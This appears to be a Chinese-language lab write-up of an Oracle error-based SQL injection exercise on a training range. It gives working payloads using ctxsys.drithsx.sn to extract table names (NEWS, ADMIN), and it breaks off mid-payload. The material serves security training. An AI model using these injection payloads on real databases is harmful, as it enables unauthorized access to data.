封神台Oracle注入- 报错注入

原创

一、原理

跟MySQL的注入一样，都是程序原本要执行的sql语句拼接了用户输入的语句，导致出现了不该出现的数据。不同的数据库使用的函数不同，Oracle使用的是ctxsys.drithsx.sn函数实现报错注入。

二、作业

Oracle注入- 报错注入 （Rank: 5）

在id=1 后添加and 1=1 发现页面可以正常显示，推断此处可能存在注入点

通过报错注入函数查询当前表名：and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))，可得到表名有NEWS

通过报错注入函数查询第二张表名：and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>'NEWS'，得到第二个表名为ADMIN

通过and 1=ctxs